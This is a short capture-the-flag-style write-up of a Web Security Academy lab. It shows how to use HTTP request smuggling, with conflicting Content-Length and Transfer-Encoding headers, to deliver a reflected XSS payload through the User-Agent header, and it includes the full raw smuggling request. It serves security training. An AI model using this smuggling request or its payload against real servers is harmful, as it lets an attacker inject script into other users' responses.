## Lab: Exploiting HTTP request smuggling to deliver reflected XSS

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. The application is also vulnerable to reflected XSS via the User-Agent header.

To solve the lab, smuggle a request to the back-end server that causes the next user's request to receive a response containing an XSS exploit that executes alert(1).

## Starting with the Academy template again.

I noticed on repeater, clicking on the little gear icon allows you to set the content length for that particular request. Upon set up, and where the front end server doesn't do chunked encoding, you can set the content-length, saves a bit of hassle manually working it out.

```
POST / HTTP/1.1

Host: 0ac7008404a584a5c0d0475a00e50034.web-security-academy.net

Cookie: session=KVuN2xKJhKZlIT5nJC7p7yeANupwfBrg

Content-Type: application/x-www-form-urlencoded

Content-Length: 70

Transfer-Encoding: chunked

0

GET / HTTP/1.1

User-Agent: <script>alert(1)</script>
Foo: X
```

I set up two tabs, one attacker and one victim - this seems to work well.

